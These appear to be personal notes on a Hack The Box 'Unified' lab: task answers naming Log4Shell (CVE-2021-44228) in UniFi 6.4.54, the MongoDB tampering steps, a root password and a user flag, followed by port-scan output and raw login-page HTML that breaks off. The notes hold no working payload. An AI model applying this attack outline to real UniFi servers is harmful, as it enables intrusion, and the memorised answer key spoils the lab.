HTB-Tier2- Unified
Tags
Web
Vulnerability Assessment
Databases
Injection
Custom Applications
Outdated Software
MongoDB
Java
Penetration Tester Level 1
Reconaisance
Clear Text Credentials
Default Credentials
Code Injection
SOFT RESETReset Machine
OPEN
Walkthrough
ONNECT
Connect to Starting Point VPN before starting the machine
ONLINE
TARGET MACHINE IP ADDRESS
10.129.223.34
Learn how to connect to the machine
Task 1
Which are the first four open ports?
**,,,***3
22,6789,8080,8443
Hide Answer
Task 2
What is title of the software that is running running on port 8443?
***** ******k
unifi network
Hide Answer
Task 3
What is the version of the software that is running?
..*4
6.4.54
Hide Answer
Task 4
What is the CVE for the identified vulnerability?
-*-****8
CVE-2021-44228
Hide Answer
Task 5
What protocol does JNDI leverage in the injection?
***P
ldap
Hide Answer
Task 6
What tool do we use to intercept the traffic, indicating the attack was successful?
******p
tcpdump
Hide Answer
Task 7
What port do we need to inspect intercepted traffic for?
389
Hide Answer
Task 8
What port is the MongoDB service running on?
****7
27117
Hide Answer
Task 9
What is the default database name for UniFi applications?
ace
Hide Answer
Task 10
What is the function we use to enumerate users within the database in MongoDB?
.***.****()
db.admin.find()
Hide Answer
Task 11
What is the function we use to update users within the database in MongoDB?
..***()
db.admin.update()
Hide Answer
Task 12
What is the password for the root user?
**************************2
NotACrackablePassword4U2022
Hide Answer
Submit Flag
Submit user flag
6ced1a6a89e666c0620cdb10262ba127
Hide Answer
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ sudo masscan -e tun0 -p- --max-rate 500 10.129.82.251 1 ⨯
[sudo] kwkl 的密码：
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-11-18 14:06:02 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on 10.129.11.70
Discovered open port 8843/tcp on 10.129.11.70
Discovered open port 8080/tcp on 10.129.11.70
Discovered open port 8443/tcp on 10.129.11.70
Discovered open port 6789/tcp on 10.129.11.70
Discovered open port 8880/tcp on 10.129.11.70
└─$ sudo nmap -sC -sV -v 10.129.78.40
[sudo] kwkl 的密码：
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 19:36 HKT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 19:36
Completed NSE at 19:36, 0.00s elapsed
Initiating NSE at 19:36
Completed NSE at 19:36, 0.00s elapsed
Initiating NSE at 19:36
Completed NSE at 19:36, 0.00s elapsed
Initiating Ping Scan at 19:36
Scanning 10.129.78.40 [4 ports]
Completed Ping Scan at 19:36, 0.56s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:36
Completed Parallel DNS resolution of 1 host. at 19:36, 0.09s elapsed
Initiating SYN Stealth Scan at 19:36
Scanning 10.129.78.40 [1000 ports]
Discovered open port 8080/tcp on 10.129.78.40
Discovered open port 22/tcp on 10.129.78.40
Discovered open port 6789/tcp on 10.129.78.40
Discovered open port 8443/tcp on 10.129.78.40
Completed SYN Stealth Scan at 19:36, 8.71s elapsed (1000 total ports)
Initiating Service scan at 19:36
Scanning 4 services on 10.129.78.40
Completed Service scan at 19:38, 82.42s elapsed (4 services on 1 host)
NSE: Script scanning 10.129.78.40.
Initiating NSE at 19:38
Completed NSE at 19:41, 214.65s elapsed
Initiating NSE at 19:41
Completed NSE at 19:42, 10.69s elapsed
Initiating NSE at 19:42
Completed NSE at 19:42, 0.00s elapsed
Nmap scan report for 10.129.78.40
Host is up (1.6s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
6789/tcp open ibm-db2-admin?
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 431
| Date: Sun, 20 Nov 2022 11:37:09 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 404
| Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404
| Found</h1></body></html>
| GetRequest:
| HTTP/1.1 302
| Location: http://localhost:8080/manage
| Content-Length: 0
| Date: Sun, 20 Nov 2022 11:37:04 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 302
| Location: http://localhost:8080/manage
| Content-Length: 0
| Date: Sun, 20 Nov 2022 11:37:06 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sun, 20 Nov 2022 11:37:07 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
| Request</h1></body></html>
| Socks5:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sun, 20 Nov 2022 11:37:11 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
8443/tcp open ssl/nagios-nsca Nagios NSCA
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
| Subject Alternative Name: DNS:UniFi
| Issuer: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-12-30T21:37:24
| Not valid after: 2024-04-03T21:37:24
| MD5: e6be8c035e126827d1fe612ddc76a919
|_SHA-1: 111baa119cca44017cec6e03dc455cfe65f6d829
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.93%I=7%D=11/20%Time=637A1161%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,84,"HTTP/1\.1\x20302\x20\r\nLocation:\x20http://localhost:808
SF:0/manage\r\nContent-Length:\x200\r\nDate:\x20Sun,\x2020\x20Nov\x202022\
SF:x2011:37:04\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,84,"
SF:HTTP/1\.1\x20302\x20\r\nLocation:\x20http://localhost:8080/manage\r\nCo
SF:ntent-Length:\x200\r\nDate:\x20Sun,\x2020\x20Nov\x202022\x2011:37:06\x2
SF:0GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x20
SF:400\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language
SF::\x20en\r\nContent-Length:\x20435\r\nDate:\x20Sun,\x2020\x20Nov\x202022
SF:\x2011:37:07\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><h
SF:tml\x20lang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x
SF:20Bad\x20Request</title><style\x20type=\"text/css\">body\x20{font-famil
SF:y:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;b
SF:ackground-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-siz
SF:e:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{
SF:color:black;}\x20\.line\x20{height:1px;background-color:#525D76;border:
SF:none;}</style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x2
SF:0Bad\x20Request</h1></body></html>")%r(FourOhFourRequest,24A,"HTTP/1\.1
SF:\x20404\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Lang
SF:uage:\x20en\r\nContent-Length:\x20431\r\nDate:\x20Sun,\x2020\x20Nov\x20
SF:2022\x2011:37:09\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20htm
SF:l><html\x20lang=\"en\"><head><title>HTTP\x20Status\x20404\x20\xe2\x80\x
SF:93\x20Not\x20Found</title><style\x20type=\"text/css\">body\x20{font-fam
SF:ily:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white
SF:;background-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-s
SF:ize:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x2
SF:0{color:black;}\x20\.line\x20{height:1px;background-color:#525D76;borde
SF:r:none;}</style></head><body><h1>HTTP\x20Status\x20404\x20\xe2\x80\x93\
SF:x20Not\x20Found</h1></body></html>")%r(Socks5,24E,"HTTP/1\.1\x20400\x20
SF:\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en
SF:\r\nContent-Length:\x20435\r\nDate:\x20Sun,\x2020\x20Nov\x202022\x2011:
SF:37:11\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><html\x20
SF:lang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x
SF:20Request</title><style\x20type=\"text/css\">body\x20{font-family:Tahom
SF:a,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;backgrou
SF:nd-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;
SF:}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:b
SF:lack;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;}<
SF:/style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x2
SF:0Request</h1></body></html>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 19:42
Completed NSE at 19:42, 0.00s elapsed
Initiating NSE at 19:42
Completed NSE at 19:42, 0.00s elapsed
Initiating NSE at 19:42
Completed NSE at 19:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 317.76 seconds
Raw packets sent: 1108 (48.728KB) | Rcvd: 1100 (44.016KB)
<html lang="en"><head><title>UniFi Network</title><style>@charset "UTF-8";[ng\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide:not(.ng-hide-animate){display:none !important;}ng\:form{display:block;}.ng-animate-shim{visibility:hidden;}.ng-anchor{position:absolute;}</style><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" unifi-prevent-focus-zoom=""><meta name="apple-itunes-app" content="app-id=1057750338"><base href="/manage/"><link rel="apple-touch-icon-precomposed" href="angular/g9c8f4ab88/images/favicons/favicon-152.png?v=2"><meta name="msapplication-TileColor" content="#0193d7"><meta name="msapplication-TileImage" content="angular/g9c8f4ab88/images/favicons/favicon-144.png?v=2"><link rel="apple-touch-icon-precomposed" sizes="152x152" href="angular/g9c8f4ab88/images/favicons/favicon-152.png?v=2"><link rel="apple-touch-icon-precomposed" sizes="144x144" href="angular/g9c8f4ab88/images/favicons/favicon-144.png?v=2"><link rel="apple-touch-icon-precomposed" sizes="120x120" href="angular/g9c8f4ab88/images/favicons/favicon-120.png?v=2"><link rel="apple-touch-icon-precomposed" sizes="72x72" href="angular/g9c8f4ab88/images/favicons/favicon-72.png?v=2"><link rel="apple-touch-icon-precomposed" href="angular/g9c8f4ab88/images/favicons/favicon-57.png?v=2"><link rel="icon" href="angular/g9c8f4ab88/images/favicons/favicon-32.png?v=2" sizes="32x32"><script src="angular/g9c8f4ab88/js/index.js" defer=""></script><link href="/manage/angular/g9c8f4ab88/fonts/ubnt-icon/style.css" media="screen" rel="stylesheet" type="text/css"><link href="/manage/angular/g9c8f4ab88/css/styles.bundle.css" media="screen" rel="stylesheet" type="text/css"><link href="/manage/angular/g9c8f4ab88/css/app.css" media="screen" rel="stylesheet" type="text/css"><script async="" src="/manage/angular/g9c8f4ab88/js/initial.js"></script><script async="" src="/manage/angular/g9c8f4ab88/js/components.js"></script><link href="/manage/angular/g9c8f4ab88/fonts/aura/fonts.css" media="screen" rel="stylesheet" type="text/css"><style id="angular-vs-repeat-style">
.vs-repeat-debug-element {
top: 50%;
left: 0;
right: 0;
height: 1px;
background: red;
z-index: 99999999;
box-shadow: 0 0 20px red;
}
.vs-repeat-debug-element + .vs-repeat-debug-element {
display: none;
}
.vs-repeat-before-content,
.vs-repeat-after-content {
border: none !important;
padding: 0 !important;
}
</style><script async="" src="/manage/angular/g9c8f4ab88/js/base.js"></script><script src="/manage/angular/g9c8f4ab88/js/dynamic.settings.js" async=""></script><script src="/manage/angular/g9c8f4ab88/js/dynamic.dpi.js" async=""></script><script src="/manage/angular/g9c8f4ab88/js/dynamic.maps.js" async=""></script><script async="" src="/manage/angular/g9c8f4ab88/js/app.js"></script></head><body id="unifi-network-app-container"><div id="unifi-network-app" aura-theme="" ng-controller="ManageController as manageCtrl" ng-strict-di="" class="ubnt-mod-dark"><svg class="pos-absolute" height="0" width="0"><defs><linearGradient id="experienceGraphGradient" x1="0" y1="0" x2="0" y2="100%" patternUnits="userSpaceOnUse"><stop offset="0%" stop-color="#0046cc" stop-opacity="0.3"></stop><stop offset="100%" stop-color="#ffffff" stop-opacity="0"></stop></linearGradient></defs></svg><route-status route-status-fatal-state="manageCtrl.ENV.FATAL_STATE" route-status-immediate="manageCtrl.site.isSiteChanging"></route-status><div class="app is-chrome is-desktop" ng-class="{'no-header': !manageCtrl.renderHeader}" unifi-bowser=""><unifi-key-events></unifi-key-events><div class="ubntToastContainer ubntToastContainer--topRight" hey-toaster="" unifi-position-alerts=""></div><!----><ui-view><!----><ui-view><div class="unifiAccountContainer"><div class="stack spreadApart fullHeight"><div class="flexible shelfCenter"><div class="unifiAccount"><div class="unifiAccount__unifiLogo icon ubnt-icon--unifi"></div><div class="unifiAccount__appNameAndVersion"><span class="appDisplaySpaceAfter ng-hide" unifi-if-app="'app-unifi-hotspot'" translate="ACCOUNT_TITLE_HOTSPOT_MANAGER">Hotspot Manager</span><span>6.4.54</span></div><div class="unifiAccount__content"><!----><ui-view><div class="unifiLogin ubnt-mod-dark"><form class="appForm ng-pristine ng-invalid ng-invalid-required" novalidate="" name="loginCtrl.form" ng-class="{'is-form-validation-visible': loginCtrl.showValidation}" ng-submit="loginCtrl.form.$valid && loginCtrl.login()"><!----><!----><div class="appFormGroup"><label class="appLabel appLabel--primary unweighted" translate="ACCOUNT_LOGIN_LABEL_USERNAME">Username</label><input class="input--full ng-pristine ng-empty ng-invalid ng-invalid-required ng-touched" type="text" name="username" ng-model="loginCtrl.username" required="" autocapitalize="off" autocorrect="off" autofocus=""></div><div class="appFormGroup"><label class="appLabel appLabel--primary unweighted" translate="ACCOUNT_LOGIN_LABEL_PASSWORD">Password</label><input class="input--full ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-required" type="password" name="password" ng-model="loginCtrl.password" required=""></div><div class="verticalRhythmTop--cozy"><div class="appFormGroup alignCenter"><div class="appInputGroup appInputGroup--cozy"><input id="loginRemember" type="checkbox" name="remember" ng-model="loginCtrl.remember" class="ng-pristine ng-untouched ng-valid ng-empty"><label class="unweighted" for="loginRemember" translate="ACCOUNT_LOGIN_LABEL_REMEMBER_ME">Remember me</label><unifi-tooltip class="ubntTooltip--small"><div class="ubntTooltipContainer ubntTooltipContainer--hoverable" ng-mouseover="!$ctrl.clickable ? $ctrl.showTooltip = true : angular.noop" ng-mouseleave="!$ctrl.clickable ? $ctrl.showTooltip = false : angular.noop" ng-class="::[ $ctrl.clickable ? 'clickable' : 'ubntTooltipContainer--hoverable', $ctrl.containerClass ]" ng-init="$ctrl.clickable ? $ctrl.showTooltip = false : angular.noop" ng-click="$ctrl.clickable ? $ctrl.showTooltip = !$ctrl.showTooltip : angular.noop" on-outside-element-click="$ctrl.clickable ? $ctrl.showTooltip = false : angular.noop"><div ng-transclude="prompt"><div class="unifiAuraIcon" ng-switch="::auraIconCtrl.icon" ng-class="auraIconCtrl.containerClass" unifi-aura-icon="'info'" unifi-aura-icon-class="['ubntIcon', 'color-primary']"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><svg ng-switch-when="info" ng-class="{"ubntIcon":true,"color-primary":true}" viewBox="0 0 16 16" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" class="ubntIcon color-primary"><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><circle stroke="currentColor" cx="8" cy="8" r="7.5"></circle><rect fill="currentColor" x="7.5" y="7" width="1" height="5"></rect><rect fill="currentColor" x="7.5" y="5" width="1" height="1"></rect></g></svg><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></div></div><!----></div></unifi-tooltip></div></div></div><div class="verticalRhythmTop--cozy"><button class="appMainButton appMainButton--primary appMainButton--full busyToggle" id="loginButton" ng-click="loginCtrl.showValidation = true" busy-toggle="loginCtrl.isSubmitting" busy-toggle-spinner-classes="['appSpinner', 'appSpinner--light', 'appSpinner--centered']" translate="ACCOUNT_LOGIN_ACTIONS_SIGN_IN">Sign In</button></div><div class="verticalRhythmTop--cozy"><a class="appMainButton appMainButton--transparentDark appMainButton--full" ui-sref="manage.account.forgotpassword" unifi-if-app="['app-unifi-manage', 'app-unifi-overview']" translate="ACCOUNT_LOGIN_LINK_FORGOT_PASSWORD" href="/manage/account/forgotpassword">Forgot password?</a></div></form></div></ui-view></div><!----></div></div><!----></div></div></ui-view><unifi-browser-warning></unifi-browser-warning></ui-view><div class="blackout unifiDebugPanel ng-hide" ng-show="debugPanelCtrl.isEnabled"><!----></div><div class="unifiModalLayoutContainer"><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="addClientLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="autoChannelsModalLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="addDpiCategoryGraphLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="analyticsAcceptanceLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="addSiteLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="addSshKeyLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="apGroupsModalLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="cloudAccess2faTokenLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="cloudAccessUserLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="cloudKeySdCardCheckLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="configureMapsLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="confirmLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="dashboardFormLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="deviceUlteSetupLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="deviceUlteProSetupLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="discoveryToolChromeRequiredLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="discoveryToolInstallLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="discoveryToolPortAlreadyInUseLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="dpiRestrictionFormLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="dpiRestrictionGroupFormLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="dpiRestrictionNetworkAssignmentFormLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="editAccountLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="adminPasswordChangeSuggestionLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="editMapLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="exportSiteLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="eliteDeviceOfflineLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="firewallGroupsCreateLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="fallbackVlanLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="hotspot2NaiRealmListEntryLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="hotspotPackageLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="hotspot2CapabListEntryLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="hotspot2IconListEntryLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="hotspot2OsuListEntryLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="hotspot2QosListEntryLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="importSiteLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="ipsSuppressionFormLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="ipsWhitelistFormLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="instantRmaLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="ipsThreatDetailLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="ispThroughputLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="preferencesLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="radiusProfileLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="remoteLoginLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" 